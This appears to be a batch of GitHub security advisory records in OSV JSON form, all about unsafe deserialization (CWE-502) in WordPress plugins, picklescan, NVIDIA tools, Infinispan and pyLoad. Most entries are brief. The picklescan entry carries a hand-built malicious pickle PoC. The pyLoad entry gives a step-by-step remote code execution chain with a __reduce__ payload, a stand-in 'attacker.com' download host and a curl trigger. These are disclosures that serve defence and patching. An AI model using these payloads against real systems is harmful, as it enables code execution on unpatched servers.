CWE-502

{
  "affected": [],
  "aliases": [
    "CVE-2020-29045"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-11T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The food-and-drink-menu plugin through 2.2.0 for WordPress allows remote attackers to execute arbitrary code because of an unserialize operation on the fdm_cart cookie in load_cart_from_cookie in includes/class-cart-manager.php.",
  "id": "GHSA-467c-6whc-qp44",
  "modified": "2022-05-24T17:44:15Z",
  "published": "2022-05-24T17:44:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-29045"
    },
    {
      "type": "WEB",
      "url": "https://appcheck-ng.com/cve-2020-29045"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/food-and-drink-menu/#developers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-1669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-02T08:15:10Z",
    "severity": "HIGH"
  },
  "details": "The SEOPress WordPress plugin before 6.5.0.3 unserializes user input provided via the settings, which could allow high-privilege users such as admin to perform PHP Object Injection when a suitable gadget is present.",
  "id": "GHSA-467c-9pm8-6w84",
  "modified": "2024-04-04T03:46:17Z",
  "published": "2023-05-02T09:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1669"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/fb8791f5-2879-431e-9afc-06d5839e4b9d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-30T15:24:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nPicklescan uses _operator.attrgetter, which is a built-in python library function to execute remote pickle files.\n\n### Details\nThe attack payload executes in the following steps:\n\n- First, the attacker crafts the payload by calling the _operator.attrgetter function in the reduce method.\n- Then, when the victim, after checking whether the pickle file is safe by using the Picklescan library and finding that this library doesn\u0027t detect any dangerous functions, decides to call pickle.load() on this malicious pickle file, it leads to remote code execution.\n\n### PoC\n```\nimport pickle\nimport pickletools\nopcode3 = b\u0027\u0027\u0027cbuiltins\n__import__\n(Vos\ntRp0\n0c_operator\nattrgetter\n(Vsystem\ntR(g0\ntR(Vecho \"pwned by _operator.attrgetter\"\ntR.\u0027\u0027\u0027\npickletools.dis(opcode3)\npickle.loads(opcode3)\n```\nThis PoC can\u0027t be easily create by pickle.dumps, so it was manually built. \n\n### Impact\nAny organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nAttackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nAttackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Report by\nPinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).",
  "id": "GHSA-46h3-79wf-xr6c",
  "modified": "2025-12-30T15:24:00Z",
  "published": "2025-12-30T15:24:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-46h3-79wf-xr6c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/f2dea43e0c838e09ace1e62994143254b51de927"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.34"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-24156"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-07T18:16:39Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA DALI contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to arbitrary code execution.",
  "id": "GHSA-46hv-pp64-7whm",
  "modified": "2026-04-07T18:31:38Z",
  "published": "2026-04-07T18:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24156"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5811"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24156"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-69130"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-17T14:17:33Z",
    "severity": "HIGH"
  },
  "details": "Subscriber PHP Object Injection in Entrepreneur - Booking for Small Businesses WordPress Theme \u003c= 3.1.3 versions.",
  "id": "GHSA-46p4-p677-cfjc",
  "modified": "2026-06-17T18:35:54Z",
  "published": "2026-06-17T18:35:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69130"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/theme/entrepreneurx/vulnerability/wordpress-entrepreneur-booking-for-small-businesses-wordpress-theme-theme-3-1-3-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.2.0.Beta2"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.infinispan:infinispan-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.2.0.CR1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-15089"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-01T19:46:46Z",
    "nvd_published_at": "2018-02-15T17:29:00Z",
    "severity": "HIGH"
  },
  "details": "It was found that the Hotrod client in Infinispan before 9.2.0.CR1 would unsafely read deserialized data on information from the cache. An authenticated attacker could inject a malicious object into the data cache and attain deserialization on the client, and possibly conduct further attacks.",
  "id": "GHSA-46r5-59fg-2fjc",
  "modified": "2022-07-01T19:46:46Z",
  "published": "2022-05-14T00:59:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15089"
    },
    {
      "type": "WEB",
      "url": "https://github.com/infinispan/infinispan/pull/5639"
    },
    {
      "type": "WEB",
      "url": "https://github.com/infinispan/infinispan/commit/1deadcb1c74ea0337abd5382c0150b000f6b106f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/infinispan/infinispan/commit/2944b0d1369a230bde88392b222921537c99331e"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0294"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0478"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0479"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0480"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0481"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0501"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:1326"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/infinispan/infinispan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deserialization of Untrusted Data in Infinispan"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-7384"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-13T05:15:26Z",
    "severity": "CRITICAL"
  },
  "details": "The Database for Contact Form 7, WPforms, Elementor forms plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.4.3 via deserialization of untrusted input in the get_lead_detail function. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain in the Contact Form 7 plugin, which is likely to be used alongside, allows attackers to delete arbitrary files, leading to a denial of service or remote code execution when the wp-config.php file is deleted.",
  "id": "GHSA-46v8-4jxx-4x39",
  "modified": "2025-08-13T06:30:25Z",
  "published": "2025-08-13T06:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7384"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/contact-form-entries/tags/1.4.1/includes/data.php#L525"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3338764/#file9"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/129f810d-ff83-4428-9f98-6a6aa8817783?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35464"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-04T06:43:37Z",
    "nvd_published_at": "2026-04-07T15:17:44Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an `ADMIN_ONLY_OPTIONS` set to block non-admin users from modifying security-critical config options. The `storage_folder` option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.\n\n## Required Privileges\n\nThe chain requires a single non-admin user with both `SETTINGS` (to change `storage_folder`) and `ADD` (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.\n\n## Root Cause\n\n`storage_folder` at `src/pyload/core/api/__init__.py:238-246` has a path check that blocks writing inside PKGDIR or userdir using `os.path.realpath`. However, Flask\u0027s filesystem session directory (`/tmp/pyLoad/flask/` in the standard Docker deployment) is outside both restricted paths.\n\npyload configures Flask with `SESSION_TYPE = \"filesystem\"` at `__init__.py:127`. The cachelib `FileSystemCache` stores session files as `md5(\"session:\" + session_id)` and deserializes them with `pickle.load()` on every request that carries the corresponding session cookie.\n\n## Proven RCE Chain\n\nTested against `lscr.io/linuxserver/pyload-ng:latest` Docker image.\n\n**Step 1** \u2014 Change download directory to Flask session store:\n\n    POST /api/set_config_value\n    {\"section\":\"core\",\"category\":\"general\",\"option\":\"storage_folder\",\"value\":\"/tmp/pyLoad/flask\"}\n\nThe path check resolves `/tmp/pyLoad/flask/` via `realpath`. It does not start with PKGDIR (`/lsiopy/.../pyload/`) or userdir (`/config/`). Check passes.\n\n**Step 2** \u2014 Compute the target session filename:\n\n    md5(\"session:ATTACKER_SESSION_ID\") = 92912f771df217fb6fbfded6705dd47c\n\nFlask-Session uses cachelib which stores files as `md5(key_prefix + session_id)`. The default key prefix is `session:`.\n\n**Step 3** \u2014 Host and download the malicious pickle payload:\n\n    import pickle, os, struct\n    class RCE:\n        def __reduce__(self):\n            return (os.system, (\"id \u003e /tmp/pyload-rce-success\",))\n    session = {\"_permanent\": True, \"rce\": RCE()}\n    payload = struct.pack(\"I\", 0) + pickle.dumps(session, protocol=2)\n    # struct.pack(\"I\", 0) = cachelib timeout header (0 = never expires)\n\nServe as `http://attacker.com/92912f771df217fb6fbfded6705dd47c` and submit:\n\n    POST /api/add_package\n    {\"name\":\"x\",\"links\":[\"http://attacker.com/92912f771df217fb6fbfded6705dd47c\"],\"dest\":1}\n\nThe file is saved to `/tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c`.\n\n**Step 4** \u2014 Trigger deserialization (unauthenticated):\n\n    curl http://target:8000/ -b \"pyload_session_8000=ATTACKER_SESSION_ID\"\n\nThe session cookie name is `pyload_session_` + the configured port number (`__init__.py:128`).\n\nFlask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls `pickle.load()`. The RCE gadget executes.\n\n**Result**:\n\n    $ docker exec pyload-poc cat /tmp/pyload-rce-success\n    uid=1000(abc) gid=1000(users) groups=1000(users)\n\n## Impact\n\nA non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:\n\n- Execute arbitrary commands with the privileges of the pyload process\n- Read environment variables (API keys, credentials)\n- Access the filesystem (download history, user database)\n- Pivot to other network resources\n\n## Suggested Fix\n\nAdd `storage_folder` to the ADMIN_ONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):\n\n    ADMIN_ONLY_OPTIONS = {\n        ...\n        (\"general\", \"storage_folder\"),  # ADDED: prevents session poisoning RCE\n        ...\n    }\n\nAlso correct the existing wrong option names:\n\n    (\"webui\", \"ssl_certfile\"),  # FIXED: was \"ssl_cert\" (dead code)\n    (\"webui\", \"ssl_keyfile\"),   # FIXED: was \"ssl_key\" (dead code)",
  "id": "GHSA-4744-96p5-mp2j",
  "modified": "2026-04-07T20:00:04Z",
  "published": "2026-04-04T06:43:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-4744-96p5-mp2j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-r7mc-x6x7-cqxx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33509"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35464"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33509"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyLoad: Unprotected storage_folder enables arbitrary file write to Flask session store and code execution (Incomplete fix for CVE-2026-33509)"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-8145"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-20T03:15:35Z",
    "severity": "HIGH"
  },
  "details": "The Redirection for Contact Form 7 plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.2.4 via deserialization of untrusted input in the get_lead_fields function. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain in a Contact Form 7 plugin allows attackers to delete arbitrary files. Additionally, in certain server configurations, Remote Code Execution is possible",
  "id": "GHSA-475r-f2r2-v34p",
  "modified": "2025-08-20T03:30:21Z",
  "published": "2025-08-20T03:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8145"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wpcf7-redirect/tags/3.2.3/classes/class-wpcf7r-lead.php#L144"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2cb275d5-ec4b-419f-84e1-84172d381411?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-53805"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-17T18:18:05Z",
    "severity": "CRITICAL"
  },
  "details": "NVIDIA Spatial Intelligence Lab\u0027s (SIL) GEN3C contains an unauthenticated remote code execution vulnerability in the inference API server where the /request-inference and /seed-model endpoints deserialize raw HTTP request bodies using Python\u0027s pickle.loads() without authentication or input validation. Attackers can supply a crafted payload containing a __reduce__ gadget to the inference API port to achieve remote code execution as the inference process.",
  "id": "GHSA-478c-rj3v-9229",
  "modified": "2026-06-17T18:35:58Z",
  "published": "2026-06-17T18:35:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53805"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nv-tlabs/GEN3C/pull/62"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nv-tlabs/GEN3C/pull/63"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nv-tlabs/GEN3C/commit/db2ffe12ced12ddafcec5e0422ee46ce8520746b"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nvidia-sil-gen3c-unauthenticated-rce-via-pickle-deserialization-in-inference-api"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}